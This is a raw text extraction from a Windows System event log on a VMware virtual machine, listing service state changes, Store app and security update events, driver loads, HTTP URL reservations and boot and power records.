Platform;OEMModelSystemFamily:;OEMManufacturerName:VMware, Inc.;OEMModelSKU:;OSArchitecture:amd64; 3cbe19ad83f4f74828ea0bb0c21cc9af488df5d347c6969fee5ef76501b36415 Under Observation - More Data Needed Microsoft-Windows-TPM-WMI System UpdateType HResult Microsoft-Windows-TPM-WMI System SBAT 5http://schemas.microsoft.com/win/2004/08/events/event User32 &{b0aa8734-56f7-41cc-b2f4-de228e98b946} User32 System Windows11 param1 param2 param3 param4 param5 param6 param7 msiexec.exeWINDOWS11No title for this reason could be found0x80030002restartThe Windows Installer initiated a system restart to complete or continue the configuration of 'VMware Tools'.NT AUTHORITY\SYSTEM 5http://schemas.microsoft.com/win/2004/08/events/event Microsoft-Windows-DistributedCOM &{1B562E86-B7AA-4131-BADC-B6F3A001407E} DCOM System Windows11 {69B7FE84-6361-4423-B948-1D64820B1E96} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Microsoft-Windows-DistributedCOM Guid &{1B562E86-B7AA-4131-BADC-B6F3A001407E} EventSourceName DCOM EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel System Computer Windows11 Security UserID EventData Data param1 {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages b\??\C:\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {2593F8B9-4EAF-457C-B68A-50F6B8EA6B54} {2593F8B9-4EAF-457C-B68A-50F6B8EA6B54} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} {F9717507-6651-4EDB-BFF7-AE615179BCCF} winsrvext System ProcessImageFileNameWin32 ShutdownDuration C:\Windows\explorer.exe Microsoft-Windows-Winlogon System TSId UserSid 5http://schemas.microsoft.com/win/2004/08/events/event Service Control Manager &{555908d1-a6d7-4695-8e1e-26931d2012f4} Service Control Manager System Windows11 param1 Binary Windows Update wuauserv param1 param2 {E60687F7-01A1-40AA-86AC-DB1CBF673334}wuauserv {752073A1-23F2-4396-85F0-8FDB879ED0ED}TrustedInstaller param1 param2 param3 param4 Windows Modules Installerauto startdemand startTrustedInstaller Windows Modules Installerdemand startauto startTrustedInstaller 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} 1115wuauservUnavailable{E60687F7-01A1-40AA-86AC-DB1CBF673334} Microsoft-Windows-FilterManager System FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime WdFilter ServiceName ImagePath ServiceType StartType AccountName Microsoft Defender Core Service"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe"user mode serviceauto startLocalSystem Microsoft-Windows-FilterManager System WdFilter KslDsystem32\drivers\KslD.syskernel mode driverdemand start Microsoft-Windows-Kernel-Power System BootId Reason PreviousSessionId PreviousSessionType PreviousSessionDurationInUs PreviousEnergyCapacityAtStart !PreviousFullEnergyCapacityAtStart PreviousEnergyCapacityAtEnd PreviousFullEnergyCapacityAtEnd NextSessionId NextSessionType PowerStateAc MonitorReason Windows Modules Installerauto startdemand startTrustedInstaller 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 1115TrustedInstallerUnavailable{752073A1-23F2-4396-85F0-8FDB879ED0ED} 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System Windows11 Windows Security Service, SecurityHealthService Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh Microsoft-Windows-Kernel-General System NewTime OldTime TimeDeltaInMs Reason ProcessName ProcessID CmosTime TimeZoneBias RealTimeIsUniversal SystemInCmosMode \Device\HarddiskVolume3\Windows\System32\svchost.exe Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System DwordVal Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System 10.00. 26200 Multiprocessor Free -60 W. Europe Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 Windows11 Microsoft-Windows-Kernel-Power System ShutdownActionType ShutdownEventCode ShutdownReason Microsoft-Windows-Kernel-Power System AdaptiveTargetState IsUnattended Status Microsoft-Windows-Kernel-General System StopTime Microsoft-Windows-Kernel-General System MajorVersion MinorVersion BuildVersion QfeVersion ServiceVersion BootMode StartTime Microsoft-Windows-Kernel-General System SystemTime LoaderTime InternalBootFlags HalRtcErrorCode RealTimeIsUniversal IsSoftBoot Success Phase Microsoft-Windows-Kernel-Boot System Status EnableDisableReason VsmPolicy Microsoft-Windows-Kernel-Boot System LastShutdownGood LastBootGood LastBootId BootStatusPolicy Microsoft-Windows-Kernel-Boot System Status FailureReason Microsoft-Windows-Kernel-Boot System EfiTimeZoneBias EfiDaylightFlags EfiTime Microsoft-Windows-Kernel-Boot System BootMenuPolicy Microsoft-Windows-Kernel-Boot System BootType LoadOptions Microsoft-Windows-Kernel-Boot System EntryCount Microsoft-Windows-Kernel-Boot System BitlockerUserInputTime Microsoft-Windows-Kernel-General System UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System 5http://schemas.microsoft.com/win/2004/08/events/event vmci System Windows11 VMCI: Using capabilities (0x1c). Microsoft-Windows-FilterManager System FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 Microsoft-Windows-Kernel-General System 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System Windows11 Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System UCPD Microsoft-Windows-FilterManager System bindflt Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-HttpService System ReserveStatus ProcessId ExecutablePath UserSid http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService System https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ Microsoft-Windows-HttpService System http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/ Microsoft-Windows-HttpService System https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/ Microsoft-Windows-HttpService System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-HttpService System EventData Data ReserveStatus ProcessId ExecutablePath UserSid http://+:10247/apps/ Microsoft-Windows-HttpService System https://+:10245/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10243/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10246/MDEServer/ Microsoft-Windows-Winlogon System TSId UserSid 5http://schemas.microsoft.com/win/2004/08/events/event Service Control Manager &{555908d1-a6d7-4695-8e1e-26931d2012f4} EventSourceName Service Control Manager System Windows11 param1 uiomap Microsoft-Windows-DNS-Client System QueryName AddressLength Address ClientPID wpad Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages g\??\C:\Users\job\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat 5http://schemas.microsoft.com/win/2004/08/events/event Microsoft-Windows-DistributedCOM &{1B562E86-B7AA-4131-BADC-B6F3A001407E} DCOM System Windows11 param1 param2 param3 param4 param5 param6 param7 param8 param9 param10 param11 application-specificLocalLaunchWindows.SecurityCenter.WscDataProtectionUnavailableNT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable application-specificLocalLaunchWindows.SecurityCenter.SecurityAppBrokerUnavailableNT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable application-specificLocalLaunchWindows.SecurityCenter.WscBrokerManagerUnavailableNT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-WindowsUpdateClient System 9MSMLRH6LZF3-Microsoft.WindowsNotepad Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-WindowsUpdateClient System 9MSMLRH6LZF3-Microsoft.WindowsNotepad Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\ActivationStore.dat param1 param2 param3 param4 Remote Access IP ARP Driverdemand startauto startwanarp Microsoft-Windows-TPM-WMI System DeviceAttributes BucketId BucketConfidenceLevel UpdateType BaseBoardManufacturer:Intel Corporation;FirmwareManufacturer:VMware, Inc.;FirmwareVersion:VMW201.00V.24866131.B64.2507211911;OEMModelNumber:VMware20,1;OEMModelBaseBoard:440BX Desktop Reference Platform;OEMModelSystemFamily:;OEMManufacturerName:VMware, Inc.;OEMModelSKU:;OSArchitecture:amd64; 3cbe19ad83f4f74828ea0bb0c21cc9af488df5d347c6969fee5ef76501b36415 Under Observation - More Data Needed Microsoft-Windows-TPM-WMI System UpdateType HResult Microsoft-Windows-TPM-WMI System SBAT Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-Power System BootId Reason PreviousSessionId PreviousSessionType PreviousSessionDurationInUs PreviousEnergyCapacityAtStart !PreviousFullEnergyCapacityAtStart PreviousEnergyCapacityAtEnd PreviousFullEnergyCapacityAtEnd NextSessionId NextSessionType PowerStateAc MonitorReason Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System errorCode updateTitle updateGuid updateRevisionNumber serviceGuid 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber serviceGuid 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9NKRJ3SJ9SDG-Microsoft.WindowsAppRuntime.1.8 Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WidgetsPlatformRuntime_1.6.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9N7V66BG7XT8-Microsoft.WindowsAppRuntime.1.7 Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9P2VP41KK7LF-Microsoft.WindowsAppRuntime.1.6 Microsoft-Windows-WindowsUpdateClient System 9NKRJ3SJ9SDG-Microsoft.WindowsAppRuntime.1.8 Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9N7V66BG7XT8-Microsoft.WindowsAppRuntime.1.7 Microsoft-Windows-WindowsUpdateClient System 9MSMLRH6LZF3-Microsoft.WindowsNotepad Microsoft-Windows-WindowsUpdateClient System 9P2VP41KK7LF-Microsoft.WindowsAppRuntime.1.6 Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-Kernel-General System [\??\C:\Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-Kernel-General System d\??\C:\Users\job\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings\settings.dat Microsoft-Windows-WindowsUpdateClient System 9PCFS5B6T72H-Microsoft.Paint Microsoft-Windows-WindowsUpdateClient System 9MSMLRH6LZF3-Microsoft.WindowsNotepad Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9NSTH9KHZDLQ-Microsoft.UI.Xaml.2.8 Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9NH2SW16MQ7F-Microsoft.WindowsAppRuntime.1.5 Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-WindowsUpdateClient System 9NBLGGH4RV3K-Microsoft.VCLibs.140.00.UWPDesktop Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-WindowsUpdateClient System 9N3RK8ZV2ZR8-Microsoft.WidgetsPlatformRuntime Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9NSTH9KHZDLQ-Microsoft.UI.Xaml.2.8 Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-WindowsUpdateClient System 9N3RK8ZV2ZR8-Microsoft.WidgetsPlatformRuntime Microsoft-Windows-Kernel-General System l\??\C:\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\Settings\settings.dat Microsoft-Windows-WindowsUpdateClient System 9N3RK8ZV2ZR8-Microsoft.WidgetsPlatformRuntime Microsoft-Windows-Kernel-General System q\??\C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x86__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9NSTH9KHZDLQ-Microsoft.UI.Xaml.2.8 Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9NBLGGH3FRZM-Microsoft.VCLibs.140.00 Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9NSTH9KHZDLQ-Microsoft.UI.Xaml.2.8 Microsoft-Windows-WindowsUpdateClient System 9NSTH9KHZDLQ-Microsoft.UI.Xaml.2.8 Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System 9WZDNCRFJBMP-MICROSOFT.WINDOWSSTORE Microsoft-Windows-WindowsUpdateClient System Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.445.172.0) - Current Channel (Broad) Microsoft-Windows-WindowsUpdateClient System Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.445.172.0) - Current Channel (Broad) Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-WindowsUpdateClient System 9NH2SW16MQ7F-Microsoft.WindowsAppRuntime.1.5 Microsoft-Windows-WindowsUpdateClient System 9NH2SW16MQ7F-Microsoft.WindowsAppRuntime.1.5 Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch Microsoft-Windows-Kernel-General System b\??\C:\Users\job\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat Microsoft-Windows-WindowsUpdateClient System 9MZ95KL8MR0L-Microsoft.ScreenSketch UCPDauto startsystem startUCPD Microsoft-Windows-Kernel-General System U\??\C:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat Microsoft-Windows-Kernel-Power System Microsoft-Windows-Kernel-Power System TargetState EffectiveState Reason Flags TransitionsToOn Microsoft-Windows-Kernel-Power System TargetState EffectiveState WakeFromState ProgrammedWakeTimeAc ProgrammedWakeTimeDc WakeRequesterTypeAc WakeRequesterTypeDc Microsoft-Windows-Kernel-General System NewTime OldTime TimeDeltaInMs Reason ProcessName ProcessID CmosTime TimeZoneBias RealTimeIsUniversal SystemInCmosMode Microsoft-Windows-Kernel-Power System Microsoft-Windows-Kernel-Power System 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System Windows11 Binary Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Power-Troubleshooter System SleepTime WakeTime SleepDuration WakeDuration DriverInitDuration BiosInitDuration HiberWriteDuration HiberReadDuration HiberPagesWritten Attributes TargetState EffectiveState WakeSourceType WakeSourceTextLength WakeSourceText WakeTimerOwnerLength WakeTimerContextLength NoMultiStageResumeReason WakeTimerOwner WakeTimerContext CheckpointDuration Microsoft-Windows-Kernel-General System ]\??\C:\Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-WindowsUpdateClient System 2026-02 Security Update (KB5077181) (26200.7840) Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience Microsoft-Windows-WindowsUpdateClient System 9MSSGKG348SP-MicrosoftWindows.Client.WebExperience System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-WindowsUpdateClient System EventData Data updateTitle updateGuid updateRevisionNumber Update for Windows Security platform - KB5007651 (Version 10.0.29510.1001) Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber serviceGuid Update for Windows Security platform - KB5007651 (Version 10.0.29510.1001) Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System a\??\C:\Users\job\AppData\Local\Packages\Microsoft.SecHealthUI_8wekyb3d8bbwe\Settings\settings.dat 5http://schemas.microsoft.com/win/2004/08/events/event Service Control Manager &{555908d1-a6d7-4695-8e1e-26931d2012f4} EventSourceName Service Control Manager System Windows11 param1 param2 param3 param4 Background Intelligent Transfer Serviceauto startdemand startBITS Microsoft-Windows-WindowsUpdateClient System Windows Malicious Software Removal Tool x64 - v5.139 (KB890830) Background Intelligent Transfer Servicedemand startauto startBITS Microsoft-Windows-WindowsUpdateClient System Windows Malicious Software Removal Tool x64 - v5.139 (KB890830) Microsoft-Windows-WindowsUpdateClient System 2026-02 Security Update (KB5077181) (26200.7840) Microsoft-Windows-Kernel-Power System BootId Reason PreviousSessionId 